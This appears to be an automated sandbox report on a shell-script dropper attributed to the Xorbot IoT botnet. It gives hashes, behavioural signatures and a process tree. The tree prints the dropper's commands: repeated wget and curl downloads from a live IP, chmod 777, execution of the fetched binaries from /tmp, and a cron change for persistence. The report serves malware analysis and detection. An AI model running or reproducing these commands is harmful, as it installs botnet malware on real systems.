Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    30/11/2024, 07:15

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    035d446476225e126ba207e9014700ff

  • SHA1

    44658f5a8e83ad0e82a74736d80b6c7ab5c8784b

  • SHA256

    597e7cab59f0e2ab31a3b5ef4eb810c2a44432ce958584a469a72f3146ead18a

  • SHA512

    1d9a7fb9911a273178a07c668363c3c4ca845663db2fa4c09d8e6026e4460251cbe7df51f57312f1f302b5ff70a39410b2501d2d7f2ef5702a6f0fa2337d8f53

  • SSDEEP

    96:XYYMabqAH2YCucR5ZSmqC5Zm48sz8oC1rz1EAYYMabqALAMquCucR5sZmqC5ZdEZ:XCk2fo4Zz8oirz1C+4X8oirz7h

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1517) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:701
        • /usr/bin/wget
          wget http://216.126.231.240/bins/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
          • Writes file to tmp directory
          PID:706
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod 777 lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          ./lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://216.126.231.240/bins/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /tmp/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            ./9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
            • Executes dropped EXE
            PID:738
          • /bin/rm
            rm 9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4
            2⤵
              PID:740
            • /usr/bin/wget
              wget http://216.126.231.240/bins/jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
              • Writes file to tmp directory
              PID:741
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
              • Writes file to tmp directory
              PID:742
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
              • Writes file to tmp directory
              PID:743
            • /bin/chmod
              chmod 777 jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
              • File and Directory Permissions Modification
              PID:763
            • /tmp/jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              ./jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
              • Executes dropped EXE
              PID:764
            • /bin/rm
              rm jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS
              2⤵
                PID:768
              • /usr/bin/wget
                wget http://216.126.231.240/bins/u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                2⤵
                • Writes file to tmp directory
                PID:769
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                2⤵
                • Writes file to tmp directory
                PID:778
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                2⤵
                • Writes file to tmp directory
                PID:792
              • /bin/chmod
                chmod 777 u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                2⤵
                • File and Directory Permissions Modification
                PID:797
              • /tmp/u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                ./u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:798
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:800
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:801
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:803
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:804
                  • /bin/rm
                    rm u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz
                    2⤵
                      PID:806
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                      2⤵
                        PID:809
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                        2⤵
                          PID:891
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                          2⤵
                          • Writes file to tmp directory
                          PID:900
                        • /bin/chmod
                          chmod 777 yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                          2⤵
                          • File and Directory Permissions Modification
                          PID:901
                        • /tmp/yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                          ./yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                          2⤵
                          • Executes dropped EXE
                          PID:902
                        • /bin/rm
                          rm yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX
                          2⤵
                            PID:904
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                            2⤵
                              PID:905
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                              2⤵
                                PID:910
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                                2⤵
                                • Writes file to tmp directory
                                PID:911
                              • /bin/chmod
                                chmod 777 8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                                2⤵
                                • File and Directory Permissions Modification
                                PID:912
                              • /tmp/8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                                ./8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                                2⤵
                                • Executes dropped EXE
                                PID:913
                              • /bin/rm
                                rm 8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3
                                2⤵
                                  PID:915
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX
                                  2⤵
                                    PID:920
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX
                                    2⤵
                                      PID:921
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:939
                                    • /bin/chmod
                                      chmod 777 fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:942
                                    • /tmp/fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX
                                      ./fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX
                                      2⤵
                                      • Executes dropped EXE
                                      PID:943
                                    • /bin/rm
                                      rm fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX
                                      2⤵
                                        PID:945
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/R71qYm5eOXBzn7ikL7Gldy5wSsDTXNqbhI
                                        2⤵
                                          PID:946
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/R71qYm5eOXBzn7ikL7Gldy5wSsDTXNqbhI
                                          2⤵
                                            PID:947
                                          • /bin/busybox
                                            /bin/busybox wget http://216.126.231.240/bins/R71qYm5eOXBzn7ikL7Gldy5wSsDTXNqbhI
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:948
                                          • /bin/chmod
                                            chmod 777 R71qYm5eOXBzn7ikL7Gldy5wSsDTXNqbhI
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:949
                                          • /tmp/R71qYm5eOXBzn7ikL7Gldy5wSsDTXNqbhI
                                            ./R71qYm5eOXBzn7ikL7Gldy5wSsDTXNqbhI
                                            2⤵
                                            • Executes dropped EXE
                                            PID:950
                                          • /bin/rm
                                            rm R71qYm5eOXBzn7ikL7Gldy5wSsDTXNqbhI
                                            2⤵
                                              PID:952
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/xzQQknsPoPNMLELvG2jWRn9EH0wJzU4Zwa
                                              2⤵
                                                PID:953
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/xzQQknsPoPNMLELvG2jWRn9EH0wJzU4Zwa
                                                2⤵
                                                  PID:954
                                                • /bin/busybox
                                                  /bin/busybox wget http://216.126.231.240/bins/xzQQknsPoPNMLELvG2jWRn9EH0wJzU4Zwa
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:959
                                                • /bin/chmod
                                                  chmod 777 xzQQknsPoPNMLELvG2jWRn9EH0wJzU4Zwa
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:960
                                                • /tmp/xzQQknsPoPNMLELvG2jWRn9EH0wJzU4Zwa
                                                  ./xzQQknsPoPNMLELvG2jWRn9EH0wJzU4Zwa
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:961
                                                • /bin/rm
                                                  rm xzQQknsPoPNMLELvG2jWRn9EH0wJzU4Zwa
                                                  2⤵
                                                    PID:962
                                                  • /usr/bin/wget
                                                    wget http://216.126.231.240/bins/VD1JMi96UjNMhSAnEu1COJZ5tgJpAmccNZ
                                                    2⤵
                                                      PID:963
                                                    • /usr/bin/curl
                                                      curl -O http://216.126.231.240/bins/VD1JMi96UjNMhSAnEu1COJZ5tgJpAmccNZ
                                                      2⤵
                                                        PID:964
                                                      • /bin/busybox
                                                        /bin/busybox wget http://216.126.231.240/bins/VD1JMi96UjNMhSAnEu1COJZ5tgJpAmccNZ
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:965
                                                      • /bin/chmod
                                                        chmod 777 VD1JMi96UjNMhSAnEu1COJZ5tgJpAmccNZ
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:974
                                                      • /tmp/VD1JMi96UjNMhSAnEu1COJZ5tgJpAmccNZ
                                                        ./VD1JMi96UjNMhSAnEu1COJZ5tgJpAmccNZ
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:975
                                                      • /bin/rm
                                                        rm VD1JMi96UjNMhSAnEu1COJZ5tgJpAmccNZ
                                                        2⤵
                                                          PID:977
                                                        • /usr/bin/wget
                                                          wget http://216.126.231.240/bins/TJebpuT5N2V4FWBvo8Ai6R5FJeEun6euFL
                                                          2⤵
                                                            PID:978
                                                          • /usr/bin/curl
                                                            curl -O http://216.126.231.240/bins/TJebpuT5N2V4FWBvo8Ai6R5FJeEun6euFL
                                                            2⤵
                                                              PID:979

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • /tmp/8RC2dtBk25nj2MSjOuzDdl3Noyor9Sgud3

                                                            Filesize

                                                            107KB

                                                            MD5

                                                            eb9c3a0de91fcf16ba17cb24608df68c

                                                            SHA1

                                                            09d95a7d70d5e115d103be51edff7c498d272fac

                                                            SHA256

                                                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                            SHA512

                                                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                          • /tmp/9vDkO9CDqBo1kDE5suzm02WSsEANaggiE4

                                                            Filesize

                                                            141KB

                                                            MD5

                                                            3ca8decdb1e52c423c521bfff02ac200

                                                            SHA1

                                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                            SHA256

                                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                            SHA512

                                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                          • /tmp/R71qYm5eOXBzn7ikL7Gldy5wSsDTXNqbhI

                                                            Filesize

                                                            98KB

                                                            MD5

                                                            5141342d0df8699fa32a6b066a0c592e

                                                            SHA1

                                                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                            SHA256

                                                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                            SHA512

                                                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                          • /tmp/VD1JMi96UjNMhSAnEu1COJZ5tgJpAmccNZ

                                                            Filesize

                                                            127KB

                                                            MD5

                                                            89077b7bd4bcafca7713be43635c4862

                                                            SHA1

                                                            fc02edb8fba29ea8ee99e6157ef8560334530052

                                                            SHA256

                                                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                            SHA512

                                                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                          • /tmp/fGPnkplReUqOrd6YzPpSfK4IlkCrRctdsX

                                                            Filesize

                                                            112KB

                                                            MD5

                                                            05d7857dcead18bbd86d2935f591873c

                                                            SHA1

                                                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                            SHA256

                                                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                            SHA512

                                                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                          • /tmp/jW8SP7EoQVioALWnO8uuujvJeXWEYmyexS

                                                            Filesize

                                                            119KB

                                                            MD5

                                                            1b166b95f9cb4b079ef1b9ec8363ddf3

                                                            SHA1

                                                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                            SHA256

                                                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                            SHA512

                                                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                          • /tmp/lgaMk3RYz9H9SOCAFRuLdrGM9wYjZHzYIu

                                                            Filesize

                                                            177KB

                                                            MD5

                                                            786d75a158fe731feca3880f436082c0

                                                            SHA1

                                                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                            SHA256

                                                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                            SHA512

                                                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                          • /tmp/u8uSlnYLi7fWIeIS9gOXOaTEmuyunVELoz

                                                            Filesize

                                                            151KB

                                                            MD5

                                                            3c90d5820bddcf7c5d1bd21dfa49d958

                                                            SHA1

                                                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                            SHA256

                                                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                            SHA512

                                                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                          • /tmp/xzQQknsPoPNMLELvG2jWRn9EH0wJzU4Zwa

                                                            Filesize

                                                            117KB

                                                            MD5

                                                            849fa04ef88a8e8de32cb2e8538de5fe

                                                            SHA1

                                                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                            SHA256

                                                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                            SHA512

                                                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                          • /tmp/yBBJMCqxr8PEB4SivgWPwuo7JHrnrFmUpX

                                                            Filesize

                                                            122KB

                                                            MD5

                                                            cd3d4b9c643e5b473fb4d88ed05f0716

                                                            SHA1

                                                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                            SHA256

                                                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                            SHA512

                                                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                          • /var/spool/cron/crontabs/tmp.8hU4DW

                                                            Filesize

                                                            210B

                                                            MD5

                                                            ad0c36d8d5914cbb8507473e29c3896d

                                                            SHA1

                                                            f4cc70991f8555cdc72aab97f46b98b62edaa942

                                                            SHA256

                                                            db4f9b4e48083f7687db86f16f42af807cbf0c830ca1fe4b400d7d3e096c3084

                                                            SHA512

                                                            dc012dc84ecbac1a028a96d2742b9ae59daa3bd7290c4f061e1c4e745fae9ee8bafbaa6412d992889332ea816658f18c9be38284f8b373ec6e1870c9e3fa14fb